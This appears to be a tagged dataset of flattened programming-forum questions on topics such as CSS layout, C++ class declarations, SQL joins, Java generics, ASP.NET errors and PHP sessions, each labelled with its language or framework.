 anotacionview!.annotation = anotacion             }              return anotacionview         }          let reusarid =  anotacion           var  anotacionview = mapaview.dequeuereusableannotationviewwithidentifier(reusarid)         let costum = anotacion as! mkannotationcostum         if anotacionview == nil {             anotacionview = mkannotationview(annotation: costum  reuseidentifier: reusarid)             //let costumview = anotacionview as! mkannotationcostum             anotacionview!.image = uiimage(named: amarillo )             anotacionview!.leftcalloutaccessoryview = uiimageview(image: uiimage(named:  marca ))             anotacionview!.canshowcallout = true          }else {             anotacionview!.annotation = anotacion         }         return anotacionview     } </code></pre>,ios
css inline-block element positioning  i would like to create a webpage for a simple chat  so one big frame for message  a smarter frame (at the right side) for a user list and a line where user can compose message below the second first frame.    i have created 3 frames without any problem but my problem is that i can t find how to make the <code>contactbox</code> frame take the entire left space. if i put width in % it is under the message frame. can anyone help me please      html    <pre><code>&lt;div id= content &gt; &lt;section id= mainframe &gt;     &lt;article id= messagebox &gt;         &lt;p&gt;user1 : message 1&lt;/p&gt;         &lt;p&gt;user1 : message 2&lt;/p&gt;     &lt;/article&gt;     &lt;aside id= contactbox &gt;         &lt;p&gt;user1&lt;/p&gt;     &lt;/aside&gt;     &lt;aside id= composebox &gt;         &lt;p&gt;i ll write my message here&lt;/p&gt;     &lt;/aside&gt; &lt;/section&gt; &lt;/div&gt; </code></pre>   css   <pre><code>body{     margin: 0;     padding: 0; }  #mainframe{     border: 1px solid white;     margin: 0 10px 0 10px; }  #mainframe p{     margin: 0; }  #mainframe #messagebox{     display: inline-block;     width: 85%;     min-width: 250px;     border-right: 1px solid white;     padding: 0;     vertical-align: bottom;     min-height: 500px; }  #mainframe #contactbox{     display: inline-block;     width: 15%;     min-width: 150px;     vertical-align: top;     padding: 0;     min-height: 500px;     text-align: right; }  #mainframe #composebox{     border-top: 1px solid white;     display: inline-block;     width: 100%;     min-width: 400px;     padding: 0;     min-height: 30px;     height: 30px;     text-align: left; } </code></pre>   here s a <strong><a href= http://jsfiddle.net/bqw7wway/  rel= nofollow >jsfiddle</a></strong> with some colour added to the containers so it s easier to see what s wrong.,css
in css  what is the difference between cascading and inheritance   in css  what is the difference between cascading and inheritance     or are both the same thing,css
c++ class inside of other class with pointer to first class  i want to build a  game engine  / state manager for my game and i have a c++ specific problem now.    i have a class gameengine.   <pre><code>class gameengine { public:   gameengine();   ~gameengine();   // the stack of states   std::vector&lt;gamestate*&gt; states; ... }; </code></pre>   wich has a stack of gamestate objects once it works. now my problem is  that i want the gamestates to have a pointer to the gameengine  so that the states can manipulate it  change states and can access data that all the states need.    i thought i can just have a pointer in the states class and use the construcktor but is gives me an error.    |15|error:  gameengine  does not name a type|    this is my states class.   <pre><code>class gamestate { public:     gamestate(gameengine* e);     ~gamestate();      gameengine* engine;//here is the error  }; </code></pre>   is my logic false and is it impossible or how can i realise it     edit: i tried to put class gameengine; before my gamestate class. if i do this it gives me a bunch of other errors. in the whole gameengine class all gamestates are now undeclared sais the compiler.    |16|error:  gamestate  has not been declared|    everywhere where i use gamestate inside of the gameengine class.    edit2: i have it working now.cyber s answer with the forward declaration worked and i had a wrong order of #include at first. thank you everybody.,c++
jquery initialize dynamically loaded content  i have various sections within a page of content that dynamically get replaced based on what the user selects via a click event. i m using a tooltip plugin on the clickable items as well. depending what is clicked will then dynamically replace other clickable items.    i ve solved the initializing of click event through .delegate() but am not sure how to initialize the .tooltip() plugin for the dynamic content.    code looks like this:   <pre><code>$(document).ready(function(){      // this works...     $( #content ).delegate( .etype    click   function () {         var elem = $(this);         var parent_id = $(this).attr( rel ).replace( id_     );         $.ajax({             url:  /panel/  + parent_id              success: function(data) {                 var obj = $.parsejson(data);                 for (var key in obj) {                     $( # +obj[key][ panel ]+ panelwrapper .panelcontainer ).html(obj[key][ content ]);                     $( . +obj[key][ etype ]+ _type.etype ).removeclass( selected );                     elem.addclass( selected );                 }             }         });          });      // this doesn t work for new ajax content.     // not sure if .delegate() can be used here...     $( .etype.showtip ).tooltip({         effect:  fade            position:  center right           opacity: 0.7          offset: [3  0]      }); }); </code></pre>,jquery
multiple columns in a single parameter  been working on a assignment for a while now and i am on my wits ends. the problem i am having is that i need to have multiple columns from a table within one parameter in order to pull a report based on the person s initials. this is what i have.    <pre><code>where (tblwarehouse.employee + tblwarehouse.employee2 +tblwarehouse.employee3 =     case       when isnull(@employee   all ) =  all  then        tblwarehouse.employee + tblwarehouse.employee2 + tblwarehouse.employee3     else @employee   end) </code></pre>   when i run the query  it pulls information when i enter the employees initials that has been entered in columns one and two. however  it does not pull anything from column three. is there another method that can be done to get this information  thnak you so much in advance.,sql
javascript query  i have a field named  gross amount      if the gross amount is zero  then the javascript message confirmation asks the user whether the user should continue saving with zero amount and if the user presses cancel  even the server side save button should not be active  it should return back to the panel of the gross amount.    i have used the following code for the client side.   <pre><code>function show_confirm() {      // var txttemp = document.getelementbyid( &lt;%=txtsamt.clientid %&gt; ).value;     var menu = $find( &lt;%= this.txtsamt.clientid %&gt; );     var check;     if (menu != null) {         check = menu.get_value();     }     if (check ==  0 ) {         var r = window.confirm( gross settlement amount is 0.press cancel to change  press ok to save anyway );         if (r ==  false ) {          }      }  } </code></pre>   please let me know that if the client clicks cancel  it should not fire the btnsave on the server side.,javascript
how to run a thread again in a thread or initialise that thread  basically i have the code   <pre><code>thread t1 = new thread(new runnable() {     public void run(){         if(close==true){             joptionpane.showmessagedialog(null ”ok”);         else{              t1.run();         }     } }); </code></pre>   but where it says t1.run it says variable t1 might not have been initialised. so is there another way to make the thread run again in that else place or is there a way to initialise it close is a boolean variable. thank you,java
what is the difference between [object property] and object.property   they both do the same thing  return the value of an object s property called property. so  what is the difference other than syntax  same thing also happens with arrays      <pre><code>[[numberarray objectatindex:indexint] integervalue]   </code></pre>   is the same as     <pre><code>((nsnumber*)numberarray[indexint]).integervalue </code></pre>   at least it has been the same so far.,objective-c
angularjs - how not to hard code urls in the templates  i am new to angularjs but have been working with django for some time.    i am used to the idea of writing the following in my templates:   <pre><code>&lt;a href= {% url  profile-page  user.pk %} &gt;{{ user.name }}&lt;/a&gt; </code></pre>   and the following being generated in the rendered html:   <pre><code>&lt;a href= /profiles/33 &gt;eamonn&lt;/a&gt; </code></pre>   n.b. this profile-page url is defined in my url routing    this is very powerful as i can change the urls without having to change the templates.    i am loving angularjs but i am not too happy adding my urls into my templates and i am using a name instead of the url which feels like i am programming to an interface and not an implementation.  also  if i specify a url two or three times in different templates it is not very dry.    is there any native way of doing this of something similar in angularjs,angularjs
how to write custom runtime exception to send a json response with 2 custom information   the context is: i m making a upload csv service and when i do some verification on the content i want to throw a custom runtime exception who contain the error message and the line to the problem.    what i got for now is:   <pre><code>public class notvalidcsvexception extends runtimeexception {   private static final long serialversionuid = 1l;   private integer _line;    public notvalidcsvexception(final string message  final integer line) {     super(formatmessage(message  line));   }    public static string formatmessage(string message  integer line) {     return new stringbuilder()                .append( {message:  )                .append(   )                .append(message)                .append(   )                .append(   ligne:  )                .append(   )                .append(line)                .append(   )                .append( } ).tostring();   } } </code></pre>   but the problem is that i got a response like:   <pre><code>{ timestamp :1511785651810  status :500  error : internal server error   exception : com.sstrn.pa.service.impl.exception.notvalidcsvexception   message : { message :  message_import_csv_undefined_thing    line : 0} } </code></pre>   but i d like to have something like:   <pre><code>{ timestamp :1511785651810  status :500  error : internal server error   exception : com.sstrn.pa.service.impl.exception.notvalidcsvexception   message : message_import_csv_undefined_thing    line : 0} </code></pre>,java
primary key foreign key relationship  i am creating a database where an employer matches a student to a job. i am having trouble with the keys. i figured jobid would probably be the foreign key between these but what would be the foreign key  what relationships should these tables have in common as far as a primary key and foreign key     here is a pic    <img src= https://i.stack.imgur.com/wytbe.png  alt= enter image description here >,sql
cant get the catch statement to catch the custom exception  i have created a custom exception in the business layer and also using wcf layer where i am calling the methods in the business layer then in another website i am calling the method from wcf. i can see the message that i wrote in custom exception but the program goes staright to exception (the second catch block) instead of hitting my first catch block(where the custom exception is) when i hover over the exception i see my message but it s inside something called faultexception which i am not familiar with. and in there under details..there i see type= canonlyapplyonceexception. here is my code:   <pre><code> protected void addnewapplication()     {         try         {             using (var proxy = new servicereference1.serviceclient())             {                 proxy.addapplication(new application                 {                     credentials = 2                      comments = txtcomments.text                  });             }         }         catch (canonlyapplyonceexception c)         {             errorsummary.adderror(c.message  this);             return;         }         catch (exception)         {             lblstatus.text =  there has been an error.  please try again ;         }     } </code></pre>,.net
rails run code from a different controller  i have the following code in  jobplanscontroller<code>. it creates</code>workorder<code>and</code>tasks<code>based on templates called</code>jobplan<code>and</code>jobtask`.   <pre><code>  def copy_to_workorder   @jobplan = jobplan.find(params[:id]) # find original jobplan   wo_attrs =  @jobplan.attributes   wo_attrs.merge!({jobplan_id: @jobplan.id })   wo_attrs.delete( woschedule_id )   workorder = workorder.create(wo_attrs)    @jobplan.jobtasks.each do |jobtask|     jobtask_attrs = jobtask.attributes     jobtask_attrs.delete( jobplan_id )     jobtask_attrs.merge!({workorder_id: workorder.id })     task.create(jobtask_attrs)   end    redirect_to @jobplan  notice:  project was successfully created.  end </code></pre>   it runs fine using this button:   <pre><code>&lt;%= link_to  create workorder   copy_to_workorder_jobplans_path(:id =&gt; @jobplan.id)  :class =&gt;  btn btn-success  %&gt; </code></pre>   <code>jobplans</code> have a many_to_many relationship with <code>woschedule</code>.  the <code>woschedule</code> is being used to schedule the creation of <code>workorders</code> based on the <code>jobplans</code>.    i m trying to add code to the <code>woschedule</code> controller.  this is what i m trying:   <pre><code>  def run_jobplans     @woschedule = woschedule.find(params[:id])     @woschedule.jobplans.each do |jobplan|       copy_to_workorder_jobplans_path(jobplan)     end      redirect_to @woschedule  notice:  jobplans were run successfully.    end </code></pre>   the button i m using to run <code>run_jobplans</code> is this:   <pre><code>&lt;%= link_to  run jobplans   run_jobplans_woschedules_path(:id =&gt; @woschedule.id)  :class =&gt;  btn btn-success  %&gt; </code></pre>   it is executing the code  but no new <code>workorders</code> get created.    thanks for your help!    update !    i moved the code to the applications controller:   <pre><code>  def jobplan_to_workorder @jobplan = jobplan.find(params[:id]) # find original jobplan wo_attrs =  @jobplan.attributes wo_attrs.merge!({jobplan_id: @jobplan.id }) wo_attrs.delete( woschedule_id ) workorder = workorder.create(wo_attrs)  @jobplan.jobtasks.each do |jobtask|   jobtask_attrs = jobtask.attributes   jobtask_attrs.delete( jobplan_id )   jobtask_attrs.merge!({workorder_id: workorder.id })   task.create(jobtask_attrs) end end </code></pre>   this works in the <code>jobplan</code> controller - where i m creating from one <code>jobplan</code>:    but  how do i pass the <code>:id</code> when executing from <code>woschedule</code> controller  <code>woschedule has_many :jobplans</code>:   <pre><code>  def run_jobplans    @woschedule = woschedule.find(params[:id])    @woschedule.jobplans.each do |jobplan|     jobplan_to_workorder(:id =&gt; jobplan.id)    end    redirect_to @woschedule  notice:  jobplans were run successfully.    end </code></pre>,ruby-on-rails
unable to add downloaded video from my computer to webpage with html <pre><code>&lt;video width= 320  height= 240  controls&gt;     &lt;source src= 8mile.mp4  type= video/mp4 &gt;&lt;/source&gt; &lt;/video&gt; </code></pre>   this is how i ve done it and i also tried   <pre><code>&lt;video width= 320  height= 240  controls&gt;     &lt;source src= videos/8mile.mp4  type= video/mp4 &gt;&lt;/source&gt;  &lt;/video&gt; </code></pre>   i saw in some example that they added another source tag for some associated .ogg file but i don t think my file has that.,html
programatic addition of controls disappears when i change orientation in ios  i am adding controls (subviews) to a view programatically in ios7/xcode project. when i flip orientations  the controls added disappear. why  how to ensure that the controls reappear when i flip orientations  what goes behind the scenes when i flip orientation,ios
how do i read unicode and a number arguments from the command line in c for windows   i have this code:   <pre><code>#include  stdafx.h  #include &lt;windows.h&gt; #include &lt;conio.h&gt;    int _tmain(int argc  _tchar* argv[]) {     lpctstr f = argv[1];     dword n = atoi(argv[2]);     return 0; } </code></pre>   i want to read a unicode string and a number. this is what i get after i compile:   <blockquote>    error c2664:  atoi  : cannot convert parameter 1 from  _tchar *  to  const char *   </blockquote>,c
uiimagewritetosavedphotosalbum not showing thumbnail in lower left corner  while the following code is saving the image i took from my application into the camera roll.  i am trying to figure out how to update the thumbnail image that displays in the left corner next to the take image button when you first launch the camera to be the image that i saved.  shouldn t it always be the last image added to the camera roll   here is how i am saving it:   <pre><code>- (void)imagepickercontroller:(uiimagepickercontroller *)picker didfinishpickingmediawithinfo:(nsdictionary *)info {         uiimage *originalimage = [info valueforkey:uiimagepickercontrolleroriginalimage];          if (picker.sourcetype == uiimagepickercontrollersourcetypecamera) {             uiimagewritetosavedphotosalbum(originalimage  nil  nil  nil);         } } </code></pre>,iphone
creating lists from class instances in python  i am making progress on my top trumps style game and want to be able to separate the instances created from my superhero class into 2 decks. the code below works if i am just creating the deck list using normal lists or tuples but i can t figure out why it throws up an error message when using the instances from the superhero class. i am sure it is something simple but i can t figure it out  please help.    so this works on its own...   <pre><code>from random import shuffle  hulk = [ hulk   10  10  1  1  7  10] thor = [ thor   1  8  8  7  8  9] ironman = [ iron man   9  9  10  8  9  8] blackwidow = [ black widow   6  7  8  10  7  4] spiderman = [ spiderman   6  9  10  9  9  9] captainamerica = [ captain america   5  8  9  10  7  6]  deck = [thor  hulk  ironman  blackwidow  spiderman  captainamerica]   shuffle (deck)  half = int(len(deck)/2) p1 = (deck[0:half]) cpu = (deck[half:])   print (p1) print (cpu) </code></pre>   however when used in my program it does not  throws out error messages like &lt;<strong>main</strong>.superhero object at 0x020fc510>   <pre><code>import random  from random import shuffle  class superhero (object):  def __init__(self  name  beast_rating  power  intelligence  specialpower  fightingskills  speed):     self.name = name     self.beast_rating = beast_rating     self.power = power     self.intelligence = intelligence     self.specialpower = specialpower     self.fightingskills = fightingskills     self.speed = speed   hulk = superhero( hulk   10  10  1  1  7  10) thor = superhero( thor   1  8  8  7  8  9) ironman = superhero( iron man   9  9  10  8  9  8) blackwidow = superhero( black widow   6  7  8  10  7  4) spiderman = superhero( spiderman   6  9  10  9  9  9) captainamerica = superhero( captain america   5  8  9  10  7  6)   deck = [thor  hulk  ironman  blackwidow  spiderman  captainamerica]  shuffle (deck)  half = int(len(deck)/2) p1 = (deck[0:half]) cpu = (deck[half:])  print (p1) print (cpu) </code></pre>,python
how to write a function that would return a string in c  how to return a string from the function:   <pre><code>char * temp;  int main() {     temp = malloc(129);      double g_symbol_b_amount = 8536.700000;     printf( \n value: %s\t    format_double_trans_amount(double g_symbol_b_amount)); }  char *format_double_trans_amount(double amount) {     char amount_array_n1[25];      strcpy(amount_array_n    );     sprintf(amount_array_n   %1f   amount);     temp = amount_array_n;     return temp; } </code></pre>   here i got the value: 0.000000<br> i need the orginal value  please help me on this,c
mysql id (auto_increment ) related query  i have about 14000 rows added through a script with id ( auto_increment ) in mysql database.     then i added row with id number 99999 manually   now when i add a row with script  it adds after 99999 inspite of deleting the row with id 99999 .     how do i continue from row number 140001       cheers,mysql
having trouble forming sql query  i have three tables. surveyfact  question  and responses.  the survey fact contains the data for surveys taken by clients while the question and responses table has the obvious data  a list of questions and possible responses per question.    surveyfact:   <pre><code>| surveyfactid | clientid   |  questionid   | responsecode | ------------------------------------------------------------ |    1         |    1       |     1         |     3        |     |    2         |    1       |     2         |     3        | |    3         |    1       |     3         |     1        | </code></pre>   question:   <pre><code>| questionid| questiontext          | ------------------------------------- |    1      |    blah blah blah     |     |    2      |    blah blah blah     | |    3      |    blah blah blah     | </code></pre>   response:   <pre><code>| responseid| questionid  | responsecode |responsetext     | -----------------------------------------------------------| |    1      |    1       |      1       |   like           |     |    2      |    1       |      2       |   don t care     | |    3      |    1       |      3       |   hate           | |    4      |    2       |      1       |   like           |     |    5      |    2       |      2       |   don t care     | |    6      |    2       |      3       |   hate           | </code></pre>   here is the query i ve come up with.  (that fails)   <pre><code>select     sf.questioncode as [question number]      q.questiontext as [question text]      r.responsetext as [reponse] from surveyfact sf inner join question q     on q.questionid = sf.questionid inner join responses r     on r.responsecode = sf.responsecode where sf.clientid =  1      and sf.questionid = q.questionid     and sf.responsecode = r.responsecode </code></pre>   even when i use select distinct it yields me the survey and questions with every possible answer instead  just the the question/answer combo listed in surveyfact.     help please     requested table: what i m seeing   <pre><code>| question number | question text |response text     | ------------------------------------------------------ |    1       |  blah blah blah    |   like           |     |    1       |  blah blah blah    |   don t care     | |    1       |  blah blah blah    |  hate            | |    2       |  blah blah blah    |   like           |     |    2       |  blah blah blah    |   don t care     | |    2       |  blah blah blah    |   hate           | </code></pre>   what i want:   <pre><code>| question number | question text |response text     | ------------------------------------------------------  |    1       |  blah blah blah    |   don t care     | |    2       |  blah blah blah    |   like           |     </code></pre>   first one is number  question  then every possible answer.  second is just number question  just chosen answer,sql
c programming passing a structure into a function  my problem states:  write a c function named days() that determines the number of days from the date 1/1/1900 for any date passed as a structure.pass the address of a date structure variable to the days() function. write a program in main() that inputs the month  day  and year from the user  writing the inputs into a date structure variable  call your days() function and display the result. use the following date structure:    <pre><code>struct date  {  int month;  int day;  int year;  };  </code></pre>   in writing this function  use the convention that all years are 360 days and each month consist of 30 days. the function should return the number of days for any date structure passed to it.    this is what i have so far  and it is calculating 0 each time:   <pre><code>struct date {      int month;      int day;      int year; };  int main() {     int monthmain  daymain  yearmain;       //declaring the int variables     int totaldays;     printf( enter a month:  );              //requesting user to input the month     scanf( %d   &amp;monthmain);                //accepting the user input for month     printf( enter a day:  );                //requesting user to input the day     scanf( %d   &amp;daymain);                  //accepting the user input for day     printf( enter a year:  );               //requesting user to input the year     scanf( %d   &amp;yearmain);                 //accepting the user input for year     totaldays = days();     printf( the date you entered = %d days   totaldays); return 0; }  int days(struct date *d) {     int yearcalc  daysamount;     int monthmain  daymain  yearmain;       //declaring the int variables      yearcalc = 1900 * 360;     yearmain = (yearmain * 360) - yearcalc;      if(monthmain == 1)     {         monthmain = 0;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 2)     {         monthmain = 30;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 3)     {         monthmain = 60;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 4)     {         monthmain = 90;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 5)     {         monthmain = 120;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 6)     {         monthmain = 150;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 7)     {         monthmain = 180;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 8)     {         monthmain = 210;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 9)     {         monthmain = 240;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 10)     {         monthmain = 270;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 11)     {         monthmain = 300;         daysamount = monthmain + daymain + yearmain;     }     if(monthmain == 12)     {         monthmain = 360;         daysamount = monthmain + daymain + yearmain;     }     return daysamount; } </code></pre>   any help would be great :),c
dealloc method isn t called when i release perticular object  i have created an object using <code>alloc/init</code> method  and after i release it <code>-dealloc</code> should be called immediately as per documentation. i set a breakpoint on <code>-dealloc</code> method but it isn t hit  and my <code>-dealloc</code> method is not called.     please tell me what is the reason behind that  and what is use of dealloc method in objective c,objective-c
javascript alert from linkbutton click event  i have an asp <code>linkbutton</code> that added id values to a <code>list&lt;int&gt;</code> each time it is clicked.  what i need help with is how to post an alert to the user after 20 items have been added. the user cannot add more than 20  so if a 21st item is added i need to alert them.  here s my current code:   <pre><code>list&lt;int&gt; mylist = new list&lt;int&gt;();  if(!string.isnullorempty(session[ mylist ] + string.empty))     mylist = (list&lt;int&gt;)session[ mylist ];  //max 20 items in mylist if (mylist.count &lt; 20) {     //add item to list } else {     //alert to tell user that there are 20 items selected } </code></pre>,asp.net
.net counterpart for the scripting.dll  we were using interop.scripting.dll reference in our vb.net project.    we do not want to use this interop.scripting.dll in our vb.net project now.can we get the .net counterpart of scripting.dll so that we do not require to build our .net project with the old scripting dll reference      we are using scripting.filesystemobject scripting.folder scripting.textstream scripting.file and scripting.iomode.forwriting of interop.scripting.dll.what is the equivalent .net counterpart of these objects in vb.net 2010      it would be great if any help will be provided.    thanks in adv.,.net
write a c++ struct to a file and read file using another programming language   i have a challenging situation; we will have programs on mac  pc  ios and android receiving files in a legacy format and parsing data from those files. we cannot change how those files are created.    the files are produced by a c++ program filling a struct with numbers and strings and then writing it out. here s a sanitized version.   <pre><code>struct myobject { string kfkj(maxkys);  string oern(maxkys); string vdflj(maxkys  9);  int muic; int tdfkj; int vdfkasdk; int ssdjsddsldsk;  int ndsoief;  string tdflsajpdlj;  string tdckjdfpas;  string adsfakjidd; int idkfjdkasdkj; int asadkjakadkja(maxkys);  int kasldsdkj; bool usadl; string psadkjoasdj(9);  string pasdkjosdkj; }; </code></pre>   primitives and strings  as you can see.    then here is how they write it out to a file:   <pre><code>myinstance myobject; filename =  c:\myfile.ab2  ofstream fout (filename  ios::binary); fout.write((char*)&amp; myinstance  sizeof(myinstance)); </code></pre>   there is no option for us to translate it once and then distribute the file to other platforms; we must translate it on each and every different platform  and this is what we have to work with.  i d appreciate any information on how c++ serializes data  so we know how to parse the file.    edit: solution    the feedback i received from multiple answers here was very helpful. using that  i did extensive analysis with hex editors and discovered:   <ul> <li>the elements come in the file one after another</li> <li>a  string   in this case  starts with an int describing how many characters follow the int for that string. if the string does not exist  it will still have that int with a value of 0.</li> <li>integers  for the files and machines i saw  are two bytes  little-endian  and mostly unsigned (there were a few that were signed  just to keep me on my toes)</li> <li>the boolean was two bytes  with apparently -1 (ff ff) representing  true </li> </ul>   so far we have not ran into issues with different padding or endianness on different devices  but those are very real concerns. the skilled notes and warnings in these answers provides us with more ammunition to try to convince the client to change to a less fragile alternative  such as xml or json  for transferring data online across platforms.    as for those of you asking if the developer was fired... well  let s just say their code is very old  but after multiple conversations we re still having trouble convincing them writing out the c++ struct and trying to read that on different platforms is not a good idea.,c++
auto login when click on link  i would like to make an application that uses auto login to a website when click on link (e.g link contain the domain address(example:- mail.yahoo.com) when some one click on link it filled yahooid and password and submit),ruby-on-rails
databinding of radiobuttonlist using selectedvalue...possible   i am databinding a gridview to an object datasource.  the gridview contains a templatefield which contains a radiobuttonlist with listitems defined inline.<br> i want to be able to databind the selectedvalue of the radiobuttonlist to the same underlying table as the other grid columns  but it doesn t work!      do i have my syntax wrong  or is this impossible and requires looping code to individually select the proper item in each row    <pre><code>&lt;llblgenpro:llblgenprodatasource id= llbcomputerapplication  datacontainertype= entitycollection  runat= server &gt;&lt;/llblgenpro:llblgenprodatasource&gt;         &lt;asp:gridview id= gridcomputerapps  datasourceid= llbcomputerapplication  runat= server  autogeneratecolumns= false               emptydatatext = no applications found for this computer.               datakeynames= computerid  applicationid  enableviewstate= false              style= border-style:dotted;border-width:thin              &gt;             &lt;columns&gt;                 &lt;asp:boundfield datafield= applicationid  headertext= application id  sortexpression= applicationid  visible= true  /&gt;                 &lt;asp:templatefield headertext= application name &gt;&lt;itemtemplate&gt;&lt;%#eval( application.applicationname )%&gt;&lt;/itemtemplate&gt;&lt;/asp:templatefield&gt;                 &lt;asp:templatefield headertext= normalized name &gt;&lt;itemtemplate&gt;&lt;%#eval( application.normalizedappname )%&gt;&lt;/itemtemplate&gt;&lt;/asp:templatefield&gt;                 &lt;asp:templatefield headertext= notes &gt;&lt;itemtemplate&gt;&lt;%#eval( application.normalizednotes )%&gt;&lt;/itemtemplate&gt;&lt;/asp:templatefield&gt;                 &lt;asp:templatefield&gt;                     &lt;headertemplate&gt;                     &lt;/headertemplate&gt;                     &lt;itemtemplate&gt;                         &lt;asp:radiobuttonlist selectedvalue= &lt;%#eval( requirementoption )%&gt;  id= rblrequirementoption  repeatdirection= horizontal   runat= server &gt;                             &lt;asp:listitem value= need now  text= need now &gt;&lt;/asp:listitem&gt;                             &lt;asp:listitem value= need someday  text= need someday &gt;&lt;/asp:listitem&gt;                             &lt;asp:listitem value= do not need  text= do not need &gt;&lt;/asp:listitem&gt;                         &lt;/asp:radiobuttonlist&gt;                     &lt;/itemtemplate&gt;                 &lt;/asp:templatefield&gt;                 &lt;asp:boundfield datafield= normalizednotes  headertext= notes  visible= false  /&gt;             &lt;/columns&gt;         &lt;/asp:gridview&gt; </code></pre>,asp.net
how to verify an assembly was signed by my organization   i ve reviewed the .net strong name process a few times and think i m comfortable with it  but i m left with what i think is a security gap:    i m working on a system whereby we store serialized .net assemblies in our ms sql database. they are read by a public-facing web application that deserializes and caches them. this is done to allow remote addition of new plugins without having to redeploy the web app.    i have some concerns about author verification  however. both the web app and the plugin assemblies have strong names using the same public-private key. in that way i m guaranteed that the plugins can t be tampered with  but i see one scenario in which a malicious user could execute their own code:   <ol> <li>the user implements an assembly that implements the interface our plugins are using (this is nontrivial since the plugins are not distributed - we create them internally).</li> <li>the user gives this assembly a strong name of their own</li> <li>the user manages to inject their assembly into the appropriate table in our database</li> <li>the web application loads this assembly and instantiates the constructor for the interface the malicious user implemented - it is now executing their code</li> </ol>   it s my understanding that the .net framework will only check that an assembly has a strong name and that it hasn t been tampered with - it doesn t say anything about verification of the author.    thus  the last piece of my puzzle is to somehow verify that the signature in an assembly is in fact our own. am i missing some fundamental piece that s already been addressed  or is strong naming not designed to handle this case  if so  can anyone suggest how to address this problem     [edit] thanks khalid! my problem was that one of my test plugins was signed using a test key - i had since regenerated it (don t ask) and applied it to the other assemblies but missed that one. as a result  i thought that getpublickey() was returning inconsistent values!    code snippet for anyone who is following this path:   <pre><code>private bool validateassembly( byte[] deserializedassembly ){    byte[] ourkey = assembly.getexecutingassembly().getname().getpublickey();    for (int i=0; i &lt; deserializedassembly.length; i++){       if ( deserializedassembly[i] != outkey[i] )          return false;     }     return true; } </code></pre>   (any error handling or non-public key checks removed for clarity)    note this works as long as the executing assembly (web app) and plugins are signed using the same key. this works for us internally but if your plugin api is public you d need a different way of managing trust.,.net
csv.writerow writes to columns not rows  i have a python test file which is a list of strings that i am trying to export into a csv file so that each word in the string is in a single column in the csv file.  however my code places each word into a separate column within a single row.  i have read others comments regarding similar issues on this site and they suggested changing the syntax to <code>wr.writerows([csv_data])</code>.  this modification does not work on the code below.  i am a beginner at python so would  greatly appreciate any suggestions on how to fix this.   <pre><code>testfile=[ free    great    congratulations    great    kind    freedom ]  import csv with open( pos_words_pre.csv   w ) as resultfile_pos_pre:     wr_pos_pre = csv.writer(resultfile_pos_pre)     wr_pos_pre.writerow(testfile) </code></pre>   thank you very much for the help    edit: the code above will place all the words in a csv file in the same row such as: <br> &nbsp;&nbsp;&nbsp;&nbsp;free  great  congratulations  great  kind  freedom    but i m trying to create a file that has each entry in the same column but a separate row such as:   <pre class= lang-none prettyprint-override ><code>free great congratulations great kind freedom </code></pre>   i though that writerow will write each entry into a separate row in an excel csv file rather than the same row.  do you know how to fix this,python
java wildcard capture <pre><code>&lt;t extends number&gt; void m1(list&lt;t&gt; list) {     list.add(list.get(0));  }  void m2(list&lt;  extends number&gt; list) {     list.add(list.get(0));  } </code></pre>   i found difficult to understand the difference between above two methods.<br> first method <code>m1()</code> compiles successfully  but method <code>m2()</code> produces a compiler error:   <blockquote>    the method <code>add(capture#1-of   extends number)</code> in the type <code>list&lt;capture#1-of   extends number&gt;</code> is not applicable for the arguments <code>(capture#2-of   extends number)</code>  </blockquote>,java
which one is called when existing an extern function with the same name as an inline function   test.cpp   <pre><code>#include &lt;iostream&gt; void f() {     std::cout&lt;&lt; non-inline &lt;&lt;std::endl; } </code></pre>   main.cpp   <pre><code>#include &lt;iostream&gt; using namespace std; inline void f() {     cout&lt;&lt; inline &lt;&lt;endl; }  int main() {     f();     return 0; } </code></pre>   in debug mode  the output is: non-inline. command:g++ [-g] -o main main.cpp test.cpp    in release mode  the output is: inline. command:g++ -o -o main main.cpp test.cpp     why     linux g++ 4.7.3    in c99  an inline definition does not provide an external definition for the function  so we can provide an external definition of the identifier by defining another function in other source file.    does an inline definition provide an external definition for the function in c++      thx！！,c++
how to show the user only tasks he has marked as  done    i have two models:    <pre><code>user(id:integer name:string) and task(id:integer task:string). </code></pre>   the scenario is:   <ol> <li>i add some records in model task. these tasks are visible to everyone.</li> <li>the user clicks  done . </li> <li>the task is marked for the user as  done .</li> </ol>   how to show the user only the tasks he has done,ruby-on-rails
the state information is invalid for this page and might be corrupted <h2>server error in  /vhk/cmm  application.</h2>   the state information is invalid for this page and might be corrupted.  description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.     exception details: system.web.httpexception: the state information is invalid for this page and might be corrupted.,asp.net
can i store a string in a $_session  (retain a string through many redirects)  i have an instagram app and i want to be able to set a custom hashtag in the input field  how could i go about doing this     here s how the site works step by step    the user goes here and by default the hashtag will be =  #starcraft2  <a href= http://cinicraft.com/instacraft/example.php  rel= nofollow >http://cinicraft.com/instacraft/example.php</a>    but when the user clicks instacraft  that will then take them to -> example.php then redirect to -> callback.php    so here s the code for the input to set your custom hashtag in callback.php:   <pre><code>    &lt;form action= example.php  method= get &gt;      &lt;li&gt;custom hashtag:&lt;p&gt; &lt;input type= text  name= hashget  size= 45 &gt; &lt;/p&gt;&lt;/li&gt;  &lt;input type= submit &gt;&lt;/form&gt;  &lt;/form&gt;   user clicks submit and custom hashtag will be get ed to example.php </code></pre>   as soon as example.php opens  i successfully retain the custom hashtag like so:   <pre><code>$hashget = $_get[ hashget ];   // &lt;- inside example.php </code></pre>   and here is where my problem arises  example.php will then automatically redirect to callback.php. callback.php is what actually sends the custom hashtag to instagram and that s where the images come from.    but how can i get example.php -> to send $hashget to -> callback.php  this is what i have to work with:   <pre><code>$name = $_get[ hashget ];    session_start(); if (isset($_session[ instagramaccesstoken ]) &amp;&amp; !empty($_session[ instagramaccesstoken ])) {     header( location: callback.php );     die(); }  // instantiate the api handler object $instagram = new instagram($config); $instagram-&gt;openauthorizationurl(); </code></pre>,php
